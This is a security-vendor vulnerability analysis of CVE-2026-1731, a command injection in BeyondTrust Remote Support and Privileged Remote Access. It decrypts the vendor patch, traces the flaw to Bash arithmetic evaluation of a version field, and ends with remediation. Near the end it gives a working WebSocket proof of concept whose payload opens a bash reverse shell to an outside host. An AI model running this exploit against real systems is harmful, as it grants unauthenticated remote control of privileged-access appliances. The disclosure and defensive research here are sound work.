Rapid7
Threat Research

Rapid7 Analysis: CVE-2026-1731

|Last updated on Jun 16, 2026|9 min read

Overview

On February 6, 2026, BeyondTrust published an advisory for a new critical command injection vulnerability, CVE-2026-1731, affecting their products Remote Support (RS) and Privileged Remote Access (PRA).

Rapid7 Labs has reproduced this new vulnerability. Notably, this new vulnerability is in the exact same endpoint as a previous high profile vulnerability CVE-2024-12356. While CVE-2024-12356 was exploited in-the-wild as a zero-day, this new vulnerability was reported to the vendor through coordinated disclosure, and there is no known exploitation in-the-wild at this time. The similarity, at a technical level, between the two issues highlights how critical this new vulnerability is in terms of exploitability, and the high value that targeting a solution like RS or PRA is to an attacker.

The following technical analysis details CVE-2026-1731. Our prior analysis of CVE-2024-12356 is recommended reading to better understand the target architecture and how to communicate to the affected endpoint.

Analysis

We begin by extracting the patch for CVE-2026-1731 - a file called BT26-02-RS.nss. We know from our prior analysis of CVE-2024-12356 that these patches are encrypted with a static key. Decrypting and extracting the contents of the patch reveals a number of interesting files; ./pre_scripts/bt26-02.sh, ./resources/thinA, ./resources/thinB, and ./resources/thinD.

sfewer@sfewer-ubuntu-vm:~/Desktop/beyondtrust2026/patch$ openssl enc -d -in BT26-02-RS.nss  -md sha1 -pass pass:"Bingb0ng, what she said; the Tw1st3d switch is RED" -aes-256-cbc > ./BT26-02-RS.tar 2>/dev/null
sfewer@sfewer-ubuntu-vm:~/Desktop/beyondtrust2026/patch$ tar -xvf BT26-02-RS.tar 
cert_chain.pem
content
signature
signature.sha256
sne.version
sfewer@sfewer-ubuntu-vm:~/Desktop/beyondtrust2026/patch$ cat content | gunzip - | tar -xv
install
application_patch.conf
ingredi_patch.conf
pre_scripts/
pre_scripts/bt26-02.sh
resources/
resources/thinA
resources/thinB
resources/thinD
sfewer@sfewer-ubuntu-vm:~/Desktop/beyondtrust2026/patch$ ls -al
total 80
drwxrwxr-x 4 sfewer sfewer  4096 Feb 10 12:53 .
drwxrwxr-x 4 sfewer sfewer  4096 Feb 10 12:52 ..
-rw-r--r-- 1 sfewer sfewer   361 Feb  4 06:00 application_patch.conf
-rw------- 1 sfewer sfewer 11104 Feb 10 08:30 BT26-02-RS.nss
-rw-rw-r-- 1 sfewer sfewer 11081 Feb 10 12:53 BT26-02-RS.tar
-rw-r--r-- 1 sfewer sfewer  1846 Feb  4 06:00 cert_chain.pem
-rw-r--r-- 1 sfewer sfewer  8099 Feb  4 06:00 content
-rw-r--r-- 1 sfewer sfewer    45 Feb  4 06:00 ingredi_patch.conf
-rwxr--r-- 1 sfewer sfewer  7366 Feb  4 06:00 install
drwxr-xr-x 2 sfewer sfewer  4096 Feb  4 06:00 pre_scripts
drwxr-xr-x 2 sfewer sfewer  4096 Feb  4 06:00 resources
-rw-r--r-- 1 sfewer sfewer   512 Feb  4 06:00 signature
-rw-r--r-- 1 sfewer sfewer   512 Feb  4 06:00 signature.sha256
-rw-r--r-- 1 sfewer sfewer     2 Feb  4 06:00 sne.version
sfewer@sfewer-ubuntu-vm:~/Desktop/beyondtrust2026/patch$ ls -al ./resources/
total 44
drwxr-xr-x 2 sfewer sfewer  4096 Feb  4 06:00 .
drwxrwxr-x 4 sfewer sfewer  4096 Feb 10 12:53 ..
-rw-r--r-- 1 sfewer sfewer 10570 Feb  4 06:00 thinA
-rw-r--r-- 1 sfewer sfewer 10619 Feb  4 06:00 thinB
-rw-r--r-- 1 sfewer sfewer 10570 Feb  4 06:00 thinD

Examining the bt26-02.sh shell script we can see that this script will patch the destination file $BG_app_root/app/thin-scc-wrapper with one of the three “thin” resource files - depending on the current version of the product. As our test system is running version 24.1.2 we will explore the file ./resources/thinB. We can note that the destination thin-scc-wrapper script is where CVE-2024-12356 was located, and is reachable by an unauthenticated attacker via a WebSocket connection.

#!/bin/bash

# grab a few vars from the database
BUILD_COMMIT_NUM=$($BG_database_primary_cmd -t -c "select value from fixed_config where variable = 'build_commit_num'")
BUILD_COMMIT_HASH=$($BG_database_primary_cmd -t -c "select value from fixed_config where variable = 'build_commit_hash'")
BUILD_DATE=$($BG_database_primary_cmd -t -c "select value from fixed_config where variable = 'build_date'")

# sedcp,  lifted pretty much directly from mkar with only the vars we care about
function sedcp # <srcfile> <destfile>
{
    src=$1
    shift 1

    dest=$1
    shift 1

    SED_EXPRS="
		s^%COMPANY%^$BG_company^g;
		s^%PRODUCT%^$BG_product^g;
		s^%VERSION%^$BG_version^g;
		s^%BUILD_VERSION%^$BG_version^g;
		s^%BUILD_COMMIT_NUM%^$BUILD_COMMIT_NUM^g;
		s^%BUILD_COMMIT_HASH%^$BUILD_COMMIT_HASH^g;
		s^%BUILD_DATE%^$BUILD_DATE^g;
    "

    sed -e "$SED_EXPRS" "$src" >"$dest"
}

function compare_versions #     a.b.c[suffix]   x.y.z[suffix]  (the first one may be "UNKNOWN")
{
        # this function compares the version string in $1 to the version string in $2 and returns
        #  <0 if $1<$2
        # ==0 if $1==$2
        #  >0 if $1>$2

        if [[ -z "$1"  || "$1" == "UNKNOWN" ]]; then
                # "" or UNKNOWN is less than anything on the right
                echo -1
                return
        fi

        if [[ "$1" == "$2" ]]; then
                echo 0
                return
        fi

        # the complex sed is to retain only the numeric version and strip off any given suffix from the version string
        v1=$(echo "$1" | sed -e 's/^\([0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\)[^0-9].*/\1/')
        v2=$(echo "$2" | sed -e 's/^\([0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\)[^0-9].*/\1/')
        ver1=$(printf "%d%03d%03d" $(echo "$v1" | cut -f1 -d.) $(echo "$v1" | cut -f2 -d.) $(echo "$v1" | cut -f3 -d.) )
        ver2=$(printf "%d%03d%03d" $(echo "$v2" | cut -f1 -d.) $(echo "$v2" | cut -f2 -d.) $(echo "$v2" | cut -f3 -d.) )

        echo $(( $ver1 - $ver2 ))
}

# patch between 25.2.1 and  25.3.1 inclusive
if [[ $(compare_versions $BG_version "25.2.1") -ge 0 ]] && [[ $(compare_versions $BG_version "25.3.1") -le 0 ]]; then
	echo Copying thinA over $BG_app_root/app/thin-scc-wrapper
	sedcp resources/thinA $BG_app_root/app/thin-scc-wrapper
	
	exit 0
fi

# patch between 23.2.1 and 25.1.5 inclusive
if [[ $(compare_versions $BG_version "23.2.1") -ge 0 ]] && [[ $(compare_versions $BG_version "25.1.5") -le 0 ]]; then
	echo Copying thinB over $BG_app_root/app/thin-scc-wrapper
	sedcp resources/thinB $BG_app_root/app/thin-scc-wrapper
	
	exit 0
fi

# patch between 21.3.1 and 22.3.4 inclusive
if [[ $(compare_versions $BG_version "21.3.1") -ge 0 ]] && [[ $(compare_versions $BG_version "22.3.4") -le 0 ]]; then
	echo Copying thinD over $BG_app_root/app/thin-scc-wrapper
	sedcp resources/thinD $BG_app_root/app/thin-scc-wrapper
	
	exit 0
fi

Diffing thinB against thin-scc-wrapper, shows a sanity check has been added to the attacker controlled input for a remote version number. The new sanity check ensures the version number is actually a number, and only contains numerical characters. With this in mind, we now need to explore how this could lead to command injection.

@@ -48,6 +48,12 @@ blog "reading remoteVersion"
 read -t 30 remoteVersion || exit 1
 blog "read remoteVersion as [$remoteVersion]"
 
+# Validate remote version is a number (single or two-digit)
+if [[ ! "$remoteVersion" =~ ^[0-9]{1,2}$ ]]; then
+    blog "ERROR: Invalid remote version - must be a 1-2 digit number"
+    exit 1
+fi
+  

The thin-scc-wrapper script will read and process the versionNumber variable as follows:

# read their version number
read -t 30 remoteVersion || exit 1
blog "read remoteVersion as [$remoteVersion]"

# Assuming that the thin clients will be the more knowledgable of
# speaking older protocol versions.  They can look at the server version
# and adjust to match easier than the trymax side.
version=""
if [[ "$localVersion" -lt "$remoteVersion" ]]; then
	version=$localVersion
else
	version=$remoteVersion
fi

# now we both agree on the protocol version

# =================================================================================================
# =================================================================================================
# =================================================================================================

if [[ $version -gt "$localVersion" ]]; then
	blog "unhandled protocol version [$version]"
	exit 1
fi

The command injection is present here but it is not immediately obvious unless you are very familiar with the nuances of Bash arithmetic evaluation. To assist us, we ask Gemini. The following Gemini response explains the problem very clearly:

Yes, there is a potential command injection (or more accurately, arbitrary code execution) vulnerability in this script.

While it looks like a simple numeric comparison, the way Bash handles the [[ ... ]] construct with the -lt (less than) and -gt (greater than) operators involves Arithmetic Evaluation.

The Vulnerability: Arithmetic Evaluation
In Bash, when using arithmetic operators like -lt, -gt, or -eq inside [[ ]], the shell treats the operands as expressions. If an attacker can control the value of remoteVersion, they can pass a string that Bash will evaluate as code.

How an attacker would exploit it:

If an attacker provides a payload like:
remoteVersion='a[$(touch /tmp/pwned)]0'

When the script reaches this line:

if [[ "$localVersion" -lt "$remoteVersion" ]]; then

Bash evaluates remoteVersion. Because it sees the structure of an array index or an expression, it executes the command inside the subshell $(...) to determine the value.

Interestingly, a recent analysis by watchTowr for a different vulnerability in a different product (CVE-2026-1281 in Ivanti EPMM), published January 30, 2026, also shows a similar root cause due to arithmetic evaluation. We can note that the original finders of CVE-2026-1731, Hacktron, are using “AI-enabled variant analysis” for vulnerability discovery, so the recent work in this area may have helped their discovery, as they cite a date of January 31, 2026 as the discovery date - one day after the watchTowr analysis of CVE-2026-1281.

We now know that we can execute an arbitrary OS command by supplying a malicious version number as part of a WebSocket request, whereby the malicious version number will be in the form a[$(touch /tmp/pwned)].

We can construct a PoC for CVE-2026-1731 by modifying the PoC from our prior analysis. We need to connect to the WebSocket URI /nw. The remote service, i.e. the thin-scc-wrapper script, expects us to transmit a newline delimited sequence comprising a version number, a UUID for the “thin mint” cookie value, an authentication type, and a “gskey” value.

As we want to place our command injection in the version number, we construct our PoC as follows, with a bash reverse shell as the payload. The header value X-Ns-Company must be set to the target appliance’s company name (We have previously shown in our Metasploit module for CVE-2024-12356 how to programmatically extract the company name).

Note: the below $ is escaped as \$ as we are running this on the command line.

echo -ne "hax[\$(/bin/bash -i >& /dev/tcp/192.168.1.23/4444 0>&1)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | ./websocat -k wss://192.168.1.105:443/nw --protocol "ingredi support desk customer thin" -H "X-Ns-Company: myexamplecompany" --binary -n -

An NCat listener will catch the reverse shell.

Remediation

BeyondTrust has released patches to remediate CVE-2026-1731 for the following versions:

  • Privileged Remote Access (PRA) version 24.3.4 and earlier

    • Patch BT26-02-PRA
  • Remote Support (RS) version 25.3.1 and earlier

    • Patch BT26-02-RS

BeyondTrust customers are urged to apply this patch on an urgent basis.

References

LinkedInFacebookXBluesky